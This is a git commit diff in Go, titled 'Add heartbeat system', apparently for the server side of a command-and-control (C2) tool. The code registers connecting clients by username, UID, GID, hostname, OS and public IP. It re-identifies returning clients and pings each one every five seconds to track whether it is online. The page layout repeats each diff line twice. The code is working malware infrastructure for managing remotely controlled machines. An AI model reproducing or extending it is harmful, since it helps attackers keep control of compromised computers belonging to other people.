Add heartbeat system

This commit is contained in:
raul 2024-06-04 12:41:57 +02:00
parent b6a6c28bd8
commit be646ca639
1 changed files with 36 additions and 32 deletions

View File

@ -5,7 +5,6 @@ import (
"fmt" "fmt"
"log" "log"
"net" "net"
//"reflect"
"time" "time"
"github.com/spf13/viper" "github.com/spf13/viper"
@ -37,7 +36,7 @@ type Response struct {
var ( var (
C2Port string = "1302" C2Port string = "1302"
clientList []*Client clientList []Client
) )
func (c Client) Instruct(i Instructions) error { func (c Client) Instruct(i Instructions) error {
@ -73,36 +72,35 @@ func Server() {
} }
func handleConn(conn net.Conn) { func handleConn(conn net.Conn) {
client, err := getClient(conn) ID, err := getClient(conn)
if err != nil { if err != nil {
log.Printf("Error happened receiving OS information: %v\n", err) log.Printf("Error happened receiving OS information: %v\n", err)
} }
fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", client.ClientBasicInfo.Username, fmt.Printf("Got info from new user:\nUsername: %v\nUID: %v\nGID: %v\nHostname: %v\nOS: %v\n", clientList[ID].ClientBasicInfo.Username,
client.ClientBasicInfo.UID, client.ClientBasicInfo.GID, client.ClientBasicInfo.Hostname, client.ClientBasicInfo.OperatingSystem) clientList[ID].ClientBasicInfo.UID, clientList[ID].ClientBasicInfo.GID, clientList[ID].ClientBasicInfo.Hostname,
clientList[ID].ClientBasicInfo.OperatingSystem)
go Heartbeat(*client, conn) go Heartbeat(ID)
} }
func Heartbeat(client Client, conn net.Conn) { func Heartbeat(ID int) {
for { for {
inst := Instructions{ inst := Instructions{
IsHeartbeat: true, IsHeartbeat: true,
Message: "PING", Message: "PING",
} }
client.Instruct(inst) clientList[ID].Instruct(inst)
log.Printf("Pinging %v...\n", client.ClientBasicInfo.PublicIP) resp, err := ServerMessageReceiver(clientList[ID].Conn)
resp, err := ServerMessageReceiver(conn)
if err == nil && resp.Message == "PONG" { if err == nil && resp.Message == "PONG" {
fmt.Printf("Client %v is online!\n", client.ClientBasicInfo.PublicIP) fmt.Printf("Client %v is online!\n", clientList[ID].ClientBasicInfo.Hostname)
client.IsOnline = true clientList[ID].IsOnline = true
} else { } else {
fmt.Printf("Client %v is offline :(\n", client.ClientBasicInfo.PublicIP) fmt.Printf("Client %v is offline :(\n", clientList[ID].ClientBasicInfo.Hostname)
client.IsOnline = false clientList[ID].IsOnline = false
return return
} }
time.Sleep(time.Second * 10) time.Sleep(time.Second * 5)
} }
} }
@ -116,28 +114,34 @@ func ServerMessageReceiver(conn net.Conn) (Response, error) {
return *c, nil return *c, nil
} }
func getClient(conn net.Conn) (*Client, error) { func getClient(conn net.Conn) (int, error) {
dec := gob.NewDecoder(conn) dec := gob.NewDecoder(conn)
basicC := new(ClientBasicInfo) basicC := ClientBasicInfo{}
err := dec.Decode(&basicC) err := dec.Decode(&basicC)
if err != nil { if err != nil {
bad := Client{} return -1, err
return &bad, err
} }
newC := new(Client)
newC.ClientBasicInfo = *basicC for i, v := range clientList {
sameClient := basicC.Username == v.ClientBasicInfo.Username &&
basicC.PublicIP == v.ClientBasicInfo.PublicIP &&
basicC.Hostname == v.ClientBasicInfo.Hostname
if sameClient == true {
fmt.Printf("\nCLIENT ALREADY PRESENT, SETTING TO ONLINE\n\n")
clientList[i].IsOnline = true
clientList[i].Conn = conn
return i, nil
} else {
fmt.Println("Unequal!")
}
}
newC := Client{}
newC.ClientBasicInfo = basicC
newC.Conn = conn newC.Conn = conn
newC.IsOnline = true newC.IsOnline = true
// for _, v := range clientList { fmt.Printf("\nCLIENT NOT PRESENT, ADDING TO LIST\n\n")
// sameClient := reflect.DeepEqual(c, v.ClientInfo)
// if sameClient == true {
// fmt.Println("CLIENT ALREADY PRESENT, SETTING TO ONLINE")
// c.IsOnline = true
// return c, nil
// }
// }
//fmt.Println("CLIENT NOT PRESENT, ADDING TO LIST")
clientList = append(clientList, newC) clientList = append(clientList, newC)
return newC, nil return len(clientList) - 1, nil
} }